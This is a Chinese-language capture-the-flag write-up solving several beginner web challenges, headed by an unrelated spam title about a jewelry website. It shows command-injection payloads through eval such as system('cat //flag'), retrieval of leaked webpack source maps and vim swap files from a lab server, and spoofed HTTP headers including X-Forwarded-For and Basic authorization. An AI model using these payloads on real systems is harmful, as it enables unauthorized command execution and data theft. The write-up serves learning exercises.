做同性戀的珠寶網(wǎng)站尋找外貿(mào)客戶的網(wǎng)站
[Baby] SignIn
進(jìn)來(lái)看到
按鈕點(diǎn)擊不了,想到去修改代碼,要“檢查“,但這里的右鍵和F12都不可用
還好還有其他方法
檢查的各種方法
選用一種后進(jìn)入檢查頁(yè)面
刪掉這里的disabled即可
點(diǎn)擊后得到flag
[Baby] Backdoor
進(jìn)入,看到
有eval,利用命令執(zhí)行漏洞
cnss=system('ls /');
獲取flag文件夾里的文件名:
cnss=system('ls /flag');
獲取flag:
cnss=system('cat //flag');
[Baby] Webpack
了解一下什么是Webpack,及其有什么漏洞
Webpack是一個(gè)用于構(gòu)建現(xiàn)代Web應(yīng)用程序的開(kāi)源JavaScript模塊打包工具。它可以將多個(gè)JavaScript、CSS、圖片等資源打包成一個(gè)或多個(gè)優(yōu)化后的bundle文件,以提高應(yīng)用程序的性能和加載速度。Webpack通過(guò)模塊化的方式管理代碼,使開(kāi)發(fā)者可以以模塊化的方式編寫(xiě)代碼,然后通過(guò)Webpack將這些模塊打包成可在瀏覽器中執(zhí)行的代碼。
可能有源代碼泄漏:不正確的配置可能導(dǎo)致打包后的源代碼在生產(chǎn)環(huán)境中被泄漏。這道題就是此漏洞,具體利用方式如下:
進(jìn)入題目,看到
檢查,找到.js文件
知道其路徑為:http://124.221.34.13:50003/static/js/main.c91fb7d1.js
訪問(wèn)http://124.221.34.13:50003/static/js/main.c91fb7d1.js.map
,就成功下載了源代碼
此文件還需要還原,先安裝工具
如何還原前端代碼
請(qǐng)隨便選一個(gè)文件夾(記得把源代碼移進(jìn)去),打開(kāi)cmd
還原:reverse-sourcemap -v main.c91fb7d1.js.map -o output
,得到還原后的代碼
找到flag
[Easy] Leak
得看一下題目描述
先了解一下上面情況會(huì)出現(xiàn)什么漏洞:
使用vim時(shí)會(huì)創(chuàng)建臨時(shí)緩存文件,關(guān)閉vim時(shí)緩存文件則會(huì)被刪除
當(dāng)vim異常退出后,因?yàn)槲刺幚砭彺嫖募?#xff0c;導(dǎo)致可以通過(guò)緩存文件恢復(fù)原始文件內(nèi)容
以 index.php 為例:第一次產(chǎn)生的交換文件名為 .index.php.swp
再次意外退出后,將會(huì)產(chǎn)生名為 .index.php.swo 的交換文件
第三次產(chǎn)生的交換文件則為 .index.php.swn
——————————
來(lái)獲取.index.php.swp
,并整理其中代碼
查看根目錄文件:
/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('ls /');
得到flag:
/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('cat /fl4444444g');
[Easy] ezhttp
進(jìn)來(lái),看到
http的題目一般來(lái)說(shuō)直接抓包,再去一步一步地滿足要求
1
在文件開(kāi)頭把GET修改為CNSS
CNSS /Index HTTP/1.1
2
修改User-Agent
User-Agent: Mozilla/5.0 (Linux; Android 10; XXX Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.96 Mobile Safari/537.36 MicroMessenger/8.0.0.1920(0x2800004D) Process/appbrand2 WeChat/arm32
3
修改Referer
Referer:cnss.io
4
修改X-Forwarded-For
X-Forwarded-For:127.0.0.1
5
修改HOST
Host: uestc.edu.cn
6
修改Content-Type
Content-Type: application/json
7
在最下面胡亂輸入
8
給一個(gè)json數(shù)據(jù)
{"name": "Alice","age": 25
}
9
把一個(gè)數(shù)據(jù)命名為password
{"password": "Alice","age": 25
}
10
把一個(gè)數(shù)據(jù)命名為name
{"name": "Alice","password": "25"
}
11
json和Cookie改為相同
12
先了解如何在HTTP請(qǐng)求中表示Basic認(rèn)證:
構(gòu)建認(rèn)證字符串:將用戶名和密碼用冒號(hào)分隔,然后將該字符串進(jìn)行Base64編碼。例如,如果用戶名是 "username",密碼是 "password",您可以將它們合并并進(jìn)行Base64編碼得到 "dXNlcm5hbWU6cGFzc3dvcmQ="。添加認(rèn)證頭部:將Base64編碼后的認(rèn)證字符串添加到HTTP請(qǐng)求頭的 "Authorization" 字段中,使用 "Basic" 前綴。 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
方法:修改Authorization
Authorization: Basic MTIzOjEyMzQ1Ng==
————————————————————
得到flag咯: